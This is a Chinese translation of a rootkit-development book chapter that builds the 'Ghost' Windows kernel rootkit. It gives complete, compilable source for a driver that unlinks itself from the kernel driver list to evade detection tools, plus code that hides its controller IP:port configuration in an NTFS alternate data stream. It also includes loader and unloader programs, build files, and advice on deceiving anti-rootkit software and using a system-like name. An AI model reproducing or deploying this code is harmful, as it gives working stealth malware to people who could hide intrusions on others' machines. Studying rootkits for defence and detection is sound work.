第二章  一个基本的Rootkit
概述
    本章将指导大家编写一个基础的Rootkit。本章将是一个新手练习Rootkit开发工具包的好机会,同时也将是一个感受如何加载和卸载Rootkit的好机会。
    本章包括如下内容:
一个基本的Rootkit
一个基本的Rootkit隐藏技术
一个基本的文件隐藏技术
一个基本的Rootkit安装技术
一个基本的Rootkit卸载技术

第一节 Ghost
    本节涉及的Rootkit仅仅是一个具有隐藏功能的基本实例。没有后门功能、没有连接通道、没有密码存储,仅仅是一个简单的配置结构(在后续章节里我们将增加后门功能)、一些简单的Rootkit方法和文件隐藏功能。下面的每一个源文件将主要描述文件的主要设计框架和分析一些主要函数的细节。下面我们将通过一个Rootkit的所有文件深入透彻的了解Rootkit的各个函数及其作用。
Ghost.h
    Ghost.h文件定义了Rootkit中经常使用的一个简单的数据类型。值得大家关心的是其中定义了一个双字类型,实质上它是一个无符号长字符。驱动经常压缩被赋予某种用途,因此不想编写应用程序那样可以简单的引用诸如stdio.h和windows.h这样拥有大量被综合性定义函数的文件。
DRIVER_DATA是微软操作系统未公开文档中的数据结构之一。其中,这个结构包含驱动程序列表中指向下一个和前一个设备驱动程序的指针。因为本章中开发的这个Rootkit是作为一个设备驱动程序来实现的,它将在系统管理程序中隐藏给检测带来很多困难,因此要删除这个Rootkit需要进入驱动程序列表操作。
// Copyright Ric Vieler, 2006
// Support header for Ghost.c

#ifndef _GHOST_H_
#define _GHOST_H_

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;

typedef struct _DRIVER_DATA
{
 LIST_ENTRY listEntry;
 DWORD  unknown1;
 DWORD  unknown2;
 DWORD  unknown3;
 DWORD  unknown4;
 DWORD  unknown5;
 DWORD  unknown6;
 DWORD  unknown7;
 UNICODE_STRING path;
 UNICODE_STRING name;
} DRIVER_DATA;

#endif
Ghost.c
是这个rootkit的主要结构单元。它包括入口函数DriverEntry, 和卸载函数OnUnload。当驱动程序被加载时这个入口函数被调用。当与驱动通讯时DRIVER_OBJECT通过DriverEntry 调用函数映射表。此时唯一被映射的函数是pDriverObject->DriverUnload。当驱动被卸载时它可以使OnUnload被操作系统调用。这是一个可以检测到的设置,因此在需要绝对保密的情况下它将不被使用,因此它很明显。
// Ghost
// Copyright Ric Vieler, 2006

#include "ntddk.h"
#include "Ghost.h"
#include "fileManager.h"
#include "configManager.h"

// Global version data
ULONG majorVersion;
ULONG minorVersion;

// Comment out in free build to avoid detection
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
 DbgPrint("comint32: OnUnload called.");
}


NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
 DRIVER_DATA* driverData;

 // Get the operating system version
 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

 // Major = 4: Windows NT 4.0, Windows Me, Windows 98 or Windows 95
 // Major = 5: Windows Server 2003, Windows XP or Windows 2000
 // Minor = 0: Windows 2000, Windows NT 4.0 or Windows 95
 // Minor = 1: Windows XP
 // Minor = 2: Windows Server 2003

 if ( majorVersion == 5 && minorVersion == 2 )
 {

  DbgPrint("comint32: Running on Windows 2003");
 }
 else if ( majorVersion == 5 && minorVersion == 1 )
 {

  DbgPrint("comint32: Running on Windows XP");
 }
 else if ( majorVersion == 5 && minorVersion == 0 )
 {
  DbgPrint("comint32: Running on Windows 2000");
 }
 else if ( majorVersion == 4 && minorVersion == 0 )
 {

  DbgPrint("comint32: Running on Windows NT 4.0");
 }
 else
 {

  DbgPrint("comint32: Running on unknown system");
 }

 // Hide this driver
 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));
 if( driverData != NULL )
 {
  // unlink this driver entry from the driver list
  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
 }

// Allow the driver to be unloaded

 pDriverObject->DriverUnload = OnUnload;

 // Configure the controller connection
 if( !NT_SUCCESS( Configure() ) )
 {
  DbgPrint("comint32: Could not configure remote connection.\n");
  return STATUS_UNSUCCESSFUL;
 }

 return STATUS_SUCCESS;
}
图2.1描述隐藏一个设备驱动

在ghost.c中,通过更改一个内核数据结构,在操作系统中将rootkit设备驱动程序隐藏。这个驱动程序提供进入一个包含所有正在运行的设备驱动的双向链表的特权。因为像drivers.exe这样的应用程序都是从这个表中获得他们设备驱动程序的信息,将rootkit从这个列表中清楚就可以实现隐藏其存在的目的,可防止大多数的检测程序。幸运的是,内核使用另一个表来给正在运行的程序分配时间片,因此将rootkit在这个设备驱动列表中清除并不会使其停止运行。
在您实现这个设备驱动隐藏技术之前,请意识到清除一个设备驱动列表条目将会被anti-rootkit软件发现。如果你想在一个可被修改的隐藏环境下配置你的rootkit程序,保存这个设备驱动列表的入口地址。通过本书的学习,你将可以挂钩内核函数来检测设备驱动程序的不一致性。不过我们可以通过在调用原内核函数之前将条目增加保存到设备驱动列表中,在调用原内核函数之后将列表条目清除的方法,欺骗rootkit检测软件,使其相信设备驱动程序没有被隐藏,它甚至不会在设备驱动列表中有所显示。
你应该已经注意到了,遍布Ghost.c中使用了大量的debug调试语句。这些语句将出现在DebugView(或其他内核调试器的输出窗口)当它们在操作运行期间。几乎在rootkit的所有地方都可以看到DbgPrint语句。在这个例子中,DbgPrint语句被用来监控驱动的加载、卸载和错误条件。
你也会注意到在每个debug调试语句前都使用了comint32的前缀。这是用来将我们的debug调试输出从其他使用了debug语句的进程中区分出来的。选择comint32这个名称是使rootkit具有一定迷惑性。虽然“迷惑性”这个词听起来非常专业,你将在研究隐藏软件时经常看到,它是“通过错误拼写实现隐藏”的另一种说法。在我们的这个例子中,我们想通过错误拼写来隐藏rootkit,并使操作者相信它是系统的一个组成部分。直到第九章我们都不会使用挂钩文件系统的方法来过滤出我们的rootkit目录,因此给一个外部系统起一个迷惑性的名字不失为一个好主意。
现在所需要做的就是为rootkit操作进行配置了。这个例子不会建立一个真实的远程控制连接,但是我希望演示一下交替数据流并提供一个完整的可编译、可执行的rootkit。在下面的七个章节里将逐步增加大多数rootkit所需要的功能,但是现在只是通过配置管理器提供安装。
configManager.h
configManager.h文件爱简单的定义了控制器地址和通信端口的结构。它也声明了一个函数调用 DriverEntry: 

// Copyright Ric Vieler, 2006
// Support header for ConfigManager.c

#ifndef _CONFIG_MANAGER_H_
#define _CONFIG_MANAGER_H_

Char  masterPort[10];
Char  masterAddress1[4];
Char  masterAddress2[4];
Char  masterAddress3[4];
Char  masterAddress4[4];

NTSTATUS Configure();

#endif
configManager.c
configManager.c文件从一个文件中读取17个参数。如果rootkit已经执行,文件被隐藏在一个交替数据流里(ADS)。如果rootkit是第一次被安装,文件必须是c:\config32。如果这个文件没有在这些存储单元里,rootkit将放弃执行并安全退出:
// ConfigManager
// Copyright Ric Vieler, 2006
// First try c:\config32
// If it's there, save as MASTER_FILE:config32 and delete c:\config32
// If it's not there, try MASTER_FILE:configFile
// If that doesn't exist, quit!

#include "ntddk.h"
#include "fileManager.h"
#include "configManager.h"

// Set the controllers IP and port
NTSTATUS Configure()
{
 CHAR data[21];
 SHORT vis = 0;
 SHORT loop;
 SHORT dataIndex;
 SHORT addressIndex;
 ULONG fileSize;
 PHANDLE fileHandle;

 // Need to know who to connect to
 if( NT_SUCCESS( GetFile( L"\\??\\C:\\config32", data, 21, &fileSize ) ) )
 {
  DbgPrint("comint32: Reading config from visible file.");
  vis = 1;
 }
 else
 {
  if( NT_SUCCESS( GetFile( L"config32", data, 21, &fileSize ) ) )
  {
   DbgPrint("comint32: Reading config from hidden file.");
  }
  else
  {
   DbgPrint("comint32: Error. Could not find a config file.");
   return STATUS_UNSUCCESSFUL;
  }
 }

 // Parse master address and port into aaa.bbb.ccc.ddd:eeeee
 dataIndex = 0;
 addressIndex = 0;
 // First 3 are xxx of xxx.111.111.111:11111
 for( loop = 0; loop < 3; loop++ )
  masterAddress1[addressIndex++] = data[dataIndex++];
 masterAddress1[addressIndex] = 0;
 addressIndex = 0; // reset
 dataIndex++; // skip the dot
 // Next 3 are xxx of 111.xxx.111.111:11111
 for( loop = 0; loop < 3; loop++ )
  masterAddress2[addressIndex++] = data[dataIndex++];
 masterAddress2[addressIndex] = 0;
 addressIndex = 0; // reset
 dataIndex++; // skip the dot
 // Next 3 are xxx of 111.111.xxx.111:11111
 for( loop = 0; loop < 3; loop++ )
  masterAddress3[addressIndex++] = data[dataIndex++];
 masterAddress3[addressIndex] = 0;
 addressIndex = 0; // reset
 dataIndex++; // skip the dot
 // Next 3 are xxx of 111.111.111.xxx:11111
 for( loop = 0; loop < 3; loop++ )
  masterAddress4[addressIndex++] = data[dataIndex++];
 masterAddress4[addressIndex] = 0;
 addressIndex = 0; // reset
 dataIndex++; // skip the semicolon
 // Next 5 are xxxxx of 111.111.111.111:xxxxx (port)
 for( loop = 0; loop < 5; loop++ )
  masterPort[addressIndex++] = data[dataIndex++];
 masterPort[addressIndex] = 0;

 DbgPrint( "comint32: Using %s.%s.%s.%s:%s",
   masterAddress1,
   masterAddress2,
   masterAddress3,
   masterAddress4,
   masterPort);

 if( vis == 1 )
 {
  DbgPrint("comint32: Saving config to hidden file.");
  PutFile( L"config32", data, fileSize );
  DbgPrint("comint32: You may delete the visible file.");
 }

 return STATUS_SUCCESS;
}

交替数据流
交替数据流是一个过渡产品,那时微软仍然试图开发与Macintosh操作系统兼容的数据结构。Macintosh系统有一种方法联系目标资源,例如图标(icon)文件,它并不会修改文件或改变文件大小。当微软为Windows操作系统增加这个功能时,他们就提供了一个很精彩的方法来隐藏文件。这个文件隐藏技术被广泛适用很长时间,以至于在一个被anti-rootkit监视的操作系统使用一个文件时会被发现,但是知道现在给目录增加一个交替数据流依然是相对安全的。
配置文件如图2-2所示。 

Figure 2-2 
在阅读了这个配置文件之后,你会发现这个rootkit是作为一个交替数据流来存储的,与目录C:\WINDOWS\Resources相关联。这个文件目录在fileManager .h中被定义。使用硬编码路径是一个捷径。一个更强大的rootkit在分配一个隐藏文件位置前需要查询操作系统的%WINDOWS%目录。
fileManager.h
fileManager.h文件定义了交替数据流的位置为MASTER_FILE,并且在 configManager.c中声明了GetFile和PutFile函数:

// Copyright Ric Vieler, 2006
// Support header for fileManager.c

#ifndef _FILE_MANAGER_H_
#define _FILE_MANAGER_H_

// Though no documentation mentions it, NTFS-ADS works with directories too!
// Each implementation should use a different known directory
// to avoid having the full pathname added to IDS's.
#define MASTER_FILE L"\\??\\C:\\WINDOWS\\Resources"

NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG
fileSizePtr );
NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize );

#endif
fileManager.c
fileManager.c文件中只包含两个函数:GetFile和PutFile。你大概会注意到我们使用如此庞大的函数来实现如此简单的操作。欢迎来到核心编程。源文件如下:

// fileManager
// Copyright Ric Vieler, 2006
// Use without path to get/put Alternate Data Streams from/to MASTER_FILE
// Use with full path to get/put regular files from/to the visible file system

#include "ntddk.h"
#include <stdio.h>
#include "fileManager.h"
#include "Ghost.h"

NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG
fileSizePtr )
{
 NTSTATUS rc;
 WCHAR ADSName[256];
 HANDLE hStream;
 OBJECT_ATTRIBUTES ObjectAttr;
 UNICODE_STRING FileName;
 IO_STATUS_BLOCK ioStatusBlock;
 CHAR string[256];

 // set file size
 *fileSizePtr = 0;
 // Get from NTFS-ADS if not full path
 if( wcschr( filename, '\\' ) == NULL )
  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );
 else
  wcscpy( ADSName, filename );

 RtlInitUnicodeString( &FileName, ADSName );
 InitializeObjectAttributes( &ObjectAttr,
  &FileName,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL);

 rc = ZwOpenFile(
  &hStream,
  SYNCHRONIZE | GENERIC_ALL,
  &ObjectAttr,
  &ioStatusBlock,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
 FILE_SYNCHRONOUS_IO_NONALERT );

 if ( rc != STATUS_SUCCESS )
 {
  DbgPrint( "comint32: GetFile() ZwOpenFile() failed.\n" );
  _snprintf( string, 255, "comint32: rc = %0x, status = %0x\n",
   rc,
   ioStatusBlock.Status );
  DbgPrint( string );
  return( STATUS_UNSUCCESSFUL );
 }

 rc = ZwReadFile(
  hStream,
  NULL,
  NULL,
  NULL,
  &ioStatusBlock,
  buffer,
  buffersize,
  NULL,
  NULL );

 if ( rc != STATUS_SUCCESS )
 {
  DbgPrint( "comint32: GetFile() ZwReadFile() failed.\n" );
  _snprintf( string, 255, "comint32: rc = %0x, status = %0x\n",
   rc,
   ioStatusBlock.Status );
  DbgPrint( string );
  return( STATUS_UNSUCCESSFUL );
 }

 // Read was successful, return the number of bytes read
 *fileSizePtr = ioStatusBlock.Information;
 ZwClose( hStream );
 return( STATUS_SUCCESS );
}


NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize )
{
 NTSTATUS rc;
 WCHAR ADSName[256];
 HANDLE hStream;
 OBJECT_ATTRIBUTES ObjectAttr;
 UNICODE_STRING FileName;
 IO_STATUS_BLOCK ioStatusBlock;
 CHAR string[256];

 // Put to NTFS-ADS if not full path
 if( wcschr( filename, '\\' ) == NULL )
  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );
 else
  wcscpy( ADSName, filename );

 RtlInitUnicodeString( &FileName, ADSName );
 InitializeObjectAttributes( &ObjectAttr,
  &FileName,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL);

 rc = ZwCreateFile(
  &hStream,
  SYNCHRONIZE | GENERIC_ALL,
  &ObjectAttr,
  &ioStatusBlock,
  NULL,
  FILE_ATTRIBUTE_NORMAL,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  FILE_OVERWRITE_IF,
  FILE_SYNCHRONOUS_IO_NONALERT,
  NULL,
  0);

 if ( rc != STATUS_SUCCESS )
 {
  DbgPrint( "comint32: PutFile() ZwCreateFile() failed.\n" );
  _snprintf( string, 255, "comint32: rc = %0x, status = %0x\n", rc,
ioStatusBlock.Status );
  DbgPrint( string );
  return( STATUS_UNSUCCESSFUL );
 }

 rc = ZwWriteFile(
  hStream,
  NULL,
  NULL,
  NULL,
  &ioStatusBlock,
  buffer,
  buffersize,
  NULL,
  NULL );

 if ( rc != STATUS_SUCCESS )
 {
  DbgPrint( "comint32: PutFile() ZwWriteFile() failed.\n" );
  _snprintf( string, 255, "comint32: rc = %0x, status = %0x\n", rc,
ioStatusBlock.Status );
  DbgPrint( string );
  ZwClose( hStream );
  return( STATUS_UNSUCCESSFUL );
 }

 ZwClose( hStream );
 return( STATUS_SUCCESS );
}
首先值得注意的是上述函数和使用宽位字符串的标准用户函数之间的区别。所有新的微软操作系统都使用宽位字符,因此如果你想与操作系统对接,作为与用户函数的对照,你需要习惯这种约定。
下一个我们关心的项目是RtlInitUnicodeString。如果你有MSDN,你也许会找到关于RtlInitUnicodeString的定义,不过会发选出现的问题远远多于答案,例如这样的其他问题--什么是无页缓冲区?和我如何知道我的IRQL是否少于或等于DISPATCH_LEVEL?现在,只要将这个Unicode串考虑成一个在使用前需要声名和初始化的参数就可以了。在这个例子中,Unicode串FileName与ObjectAttr相关联并传递给ZwOpenFile。
ZwOpenFile是一个的内核状态量, OpenFile是一个用户状态platform软件开发包中的函数。如果你依然没有猜到,这个rootkit内核状态下的驱动程序,是包括所有的内核模式下编程的特权和复杂性。文件函数以Zw开头,I/O函数以Io开头,同步函数以Ke开头,资源函数以Ex开头,映射函数以Mm开头,字符串函数以Rtl开头。这些函数不会像你以前使用标准用户函数那样简单,但是你可以逐步进入内核模式编程。

GetFile主要由三个函数组成:ZwOpenFile, ZwReadFile,和ZwClose。PutFile主要由ZwCreateFile, ZwWriteFile,和ZwClose组成。唯一值得注意的变化是 The only notable change is that the filename is appended to the directory name with a colon separator. 这就是ADS的语法。你可以在DOS命令提示符下自行测试。创建一个只有一行文本的文件,命令为test.txt并保存,注意它的文件大小。选择使用命令“echo xxx > test.txt:alternate.txt”向test.txt中添加交替数据流。现在你可以使用命令“notepad test.txt:alternate.txt”来查看这个交替数据流的内容XXX,但是目录列表中只显示test.txt,并且文件的大小并没有包含刚才增加的交替数据流。
下面写出这个例子源代码,但是还需要两个文件。每个驱动开发包编译驱动程序都需要一个SOURCES文件和一个MAKEFILE文件。这些文件是开发工具所需要的用来确定怎样去编译一个驱动程序的,它通常包括被编译产品的名称和编译所需的文件列表。像我们前面说的,目标文件的名称是comint32相关文件就是前面详细描述过的。因此我们在这本书中将增加SOURCES文件,MAKEFILE文件将保持不变。
下面是SOURCES文件的内容:

TARGETNAME=comint32
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=Ghost.c\
 fileManager.c\
 configManager.c
下面是MAKEFILE文件的内容:

#
# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source
# file to this component.  This file merely indirects to the real make file
# that is shared by all the driver components of the Windows NT DDK
#

!INCLUDE $(NTMAKEENV)\makefile.def
如果你没有跟随我们一起,还有什么不清楚的地方,那么不要紧。现在也可以来编译这个例子。只要双击你桌面上的“Checked DDK”图标,定位你源文件的目录,并输入指令:build。驱动程序开发包将完成其他任务。
然后,你可以得到一个名为commint32.sys的新文件。这个就是你的rootkit,如果你喜欢也可以说是你的驱动程序。现在你所需要的就是一个安装它的方法,其实这样的方法有很多。
如果你没有跟随我们一起编译,你可以在源代码包里获得同样版本的comint32.sys。你也可以在源代码包里找到加载和卸载程序SCMLoader.exe和SCMUnloader.exe。


安装你的Rootkit
一般用户级应用程序的加载和执行是同步的,与此不同的是,驱动程序的加载和开始运行是两个独立的步骤。这种两步法允许允许操作系统在早期开机启动进程加载一些驱动然后晚些时候再开始运行。它也允许加载进程附加一条注册条目,使驱动程序在重启时重新加载。 
虽然大多数rootkits被设计成伴随启动进程加载并永不卸载,我们可以使用“请求启动”来加载,它允许在任何时候加载或卸载rootkits。这是开发驱动程序中一个普遍使用的方法,允许开发者在不需要重新启动主机的情况下重复的停止、卸载、重建、重加载或重启动驱动程序。
简单来说,用一个小的可执行文件来安装这个rootkit。所有的程序需要做的是打开服务控制管理器并加载一个内核设备驱动。
加载和卸载一个设备驱动程序如图2-3所示。

Figure 2-3 
SCMLoader.c
代码如下:

// Copyright Ric Vieler, 2006
// This program will load c:\comint32.sys

#include <windows.h>
#include <stdio.h>
#include <process.h>


void main( int argc, char *argv[ ] )
{
 SC_HANDLE sh1;
 SC_HANDLE sh2;

 sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
 if ( !sh1 )
 {
  printf( "OpenSCManager Failed!\n" );
  return;
 }
 sh2 = CreateService( sh1,
  "MyDeviceDriver",
  "MyDeviceDriver",
  SERVICE_ALL_ACCESS,
  SERVICE_KERNEL_DRIVER,
  SERVICE_DEMAND_START,
  SERVICE_ERROR_NORMAL,
  "c:\\comint32.sys",
  NULL,
  NULL,
  NULL,
  NULL,
  NULL );
 if ( !sh2 )
 {
  if ( GetLastError() == ERROR_SERVICE_EXISTS )
   printf("DeviceDriver already loaded!\n");
  else
   printf("CreateService Failed!\n");
 }
 else
 {
  printf("\nDriver loaded!\n");
 }
}
在介绍了内核模式编程后,用户模式下编程看起来要相对简单一些。可以想传递参数一样增加本地驱动程序,因此你不必重新编译每个新的rootkit。对于我们来说简单是最重要的,因此我们的rootkit采用的是硬编码编程。
如果你有编译工作环境,你可以打开一个命令提示符窗口来编译SCMLoader.c。如果你配置了你的开发环境,使工作目录中包含SCMLoader.c并输入下面命令来编译程序: 
cl -nologo -W3 -O2 SCMLoader.c /link /NOLOGO user32.lib advapi32.lib
如果前面的命令没有成功编译出SCMLoader.exe,你可能需要修改你的编译环境。大多数的编译环境问题可以使用VCVARS32.BAT来解决。如果你找到了你的C/C++编译器的安装目录(通常在C:\Program Files目录下),你将可能找到一个名为VCVARS32.BAT的文件。这个文件用来为特殊编译器设置一个命令提示符窗口。如果在编译rootkit前将该文件复制到rootkit目录并执行它,可能会解决一些出乎意料的问题。
不要试图从驱动开发包编译环境创建一个用户编译环境。您在第一章的操作简化了“Checked DDK”,使之能够用来编译设备驱动程序。在这种环境下运行VCVARS32.BAT将只会破坏命令提示符窗口,防止编译种遇到的种种问题。
如果VCVARS32.BAT没有解决所有出乎意料的问题,或者你没有找到它,你需要查看每一个编译和连接错误已确定导致问题的根本原因。错误是以“Can’t find”开始,则问题可以追述到全局LIB和INCLUDE环境变量(例如“Can’t find xxx.lib = LIB”和“Can’t find xxx.h = INCLUDE”)。你可以搜索你的C/C++编译器的安装目录来确定那些没有被定位的文件。一旦找到,你可以修改你的环境变量(LIB和INCLUDE)使之包含该路径的文件。
修改环境变量。左击开始(通常在屏幕左下角)并在弹出菜单中右击我的电脑。从弹出列表中选择属性。在属性对话框中选择高级页。在高级页中点击环境变量按钮。在其中一个列表中(用户变量和系统变量)你会看到LIB和INCLUDE变量。
修改任一环境变量。双击相关条目并添加所发现文件的路径。记得要用分号分隔所有路径。添加完毕所有路径后点击OK关闭每个窗口并保存所有新设置。关闭所有打开的命令提示符窗口,重新打开使设置生效。
如果你编译成功了,你应该将编译命令保存在一个文件中。我将它命名为buildSCMLoader.bat。
如果您一直跟着做,你会注意到在加载rootkit前似乎有一个多余的步骤:你仍然需要创建配置文件。当然,虽然除了作为一个交换数据流隐藏rootkit基本不起任何作用,但是它是加载所必须的。
你可以在DOS命令提示符窗口输入命令“echo 123.456.789.012:01234 > c:\config32”来创建这个必要的配置文件。或者你也可以使用你自己的IP地址和80端口(例如, 127.000.000.001:00080) 来为跟踪rootkits的章节做准备。不管哪一种情况,这个格式必须是一样的。目前的Ghost工具不能处理一个像“127.0.0.1:80.”这样的无格式字符串。如果你已经编译出了加载程序并且创建了配置文件,你所需要做的只是将rootkit移到c:\comint32.sys,执行SCMLoader,并使用命令“net start MyDeviceDriver.”来开始运行rootkit。如果一切顺利,你将看到输出信息“Driver loaded!”,如果你打开了 DebugView工具,你也可以看到从你的rootkit输出的debug调试信息comint32。
图2-4所示加载和卸载rootkit。图2-5所示DebugView输出信息。
图2-4
图2-5
恭喜你!你已经成功的加载并运行了你的rootkit。
加载程序SCMLoader创建了一个注册信息条目,将使您的rootkit伴随启动进程被重新加载。幸运的是,rootkit伴随开始选项被初始化,因此直到您输入“net start MyDeviceDriver”命令,rootkit都不会开始运行。您可以通过删除c:\comint32.sys文件或删除注册表键值HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\MyDeviceDriver来停止加载进程。然而,你不想删除文件或注册表信息,也不希望每次修改rootkit后都要重启系统才能生效。因此你需要一个卸载程序。下面的文件和相应的编译命令可以用来创建SCMUnloader。使用SCMLoader和SCMUnloader (命令“net start MyDeviceDriver”和“net stop MyDeviceDriver”)交替切换。另外,记住当config32被读取后你可以删除它;当config32不存在时将查找交替数据流中的信息。
SCMUnloader.c
SCMUnloader程序代码如下:

// Copyright Ric Vieler, 2006
// This program will unload c:\comint32.sys

#include <windows.h>
#include <stdio.h>
#include <process.h>


void main( int argc, char *argv[ ] )
{
 SC_HANDLE sh1;
 SC_HANDLE sh2;
 SERVICE_STATUS ss;

 sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
 if ( !sh1 )
 {
  printf( "OpenSCManager Failed!\n" );
  return;
 }
 sh2 = OpenService(sh1,
  "MyDeviceDriver",
  SERVICE_ALL_ACCESS );
 if ( !sh2 )
 {
  printf("OpenService Failed!\n");
  CloseServiceHandle( sh1 );
  exit(1);
 }
 ControlService( sh2, SERVICE_CONTROL_STOP, &ss );
 if ( !DeleteService( sh2 ) )
  printf("Could not unload MyDeviceDriver!\n");
 else
  printf("Unloaded MyDeviceDriver.\n");
 CloseServiceHandle( sh2 );
 CloseServiceHandle( sh1 );
}
编译命令如下:

cl -nologo -W3 -O2 SCMUnloader.c /link /NOLOGO user32.lib advapi32.lib
测试你的Rootkit
现在你可以加载、卸载、开始和停止一个基本的rootkit,在这章你可以逐项的测试各项rootkit技术了。
第一个测试需要一个系统管理员工具,它可以列出操作系统中目前所有正在运行的设备驱动程序。完成这个任务的标准工具是drivers.exe。这个实用的工具是大多数微软操作系统资源包所配备的,也是大多数驱动程序开发包所必备的。不加任何参数运行这个程序将列出所有正在运行的设备驱动程序。加载和启动MyDeviceDriver将不会在驱动程序列表中增加预期的comint32.sys。
第二个测试将要验证交替数据流增加到了C:\Windows\Resources中。最简单的测试这个功能的方法是删除C:\config32,停止并重启MyDeviceDriver。因为config32已经不再存在了,rootkit就必须重新从交替数据流中获取配置信息。这一点可以通过使用DebugView来有效的证明。Debug调试输出信息应该包括初始的GetFile()失败信息;这是企图读取C:\config32文件所造成的。然后,debug调试输出信息会提示“Reading config from hidden file.”从交替数据流读取的IP和port信息也将被显示。
总结
本章内容比较繁杂,但这只是开始。到现在为止我们开发的rootkit还只能隐藏其配置文件和在操作系统中隐藏驱动程序条目信息。一些其他需要考虑的是如何实现真正的隐藏。例如,使用服务控制管理器注册rootkit,注册信息条目可被任何注册表编辑器查看到。Ghost使用了一个迷惑性的名字“comint32”来达到真正隐藏的母的,但是我们还需要更好的隐藏技术。
你的rootkit还需要具有隐藏文件、驱动、进程、注册表信息等功能。通过一些技术可以达到这样的目标,这样的技术很多,我只简单介绍几个,如:进程隐藏技术、驱动隐藏技术、文件隐藏技术、注册表键隐藏技术、通讯频道隐藏技术、你也可以编写一个rootkit并使其运行与操作系统的内存中。
我们现在可以编写出一个具有如下功能的rootkit:
隐藏设备驱动程序条目信息
隐藏配置文件
虽然功能不是很多,但这只是长途旅行的开始;第一步是最难的。下面的章节将为这个rootkit增加更多的功能。下一章将增加一个rootkit至关重要的部分:内核函数钩子。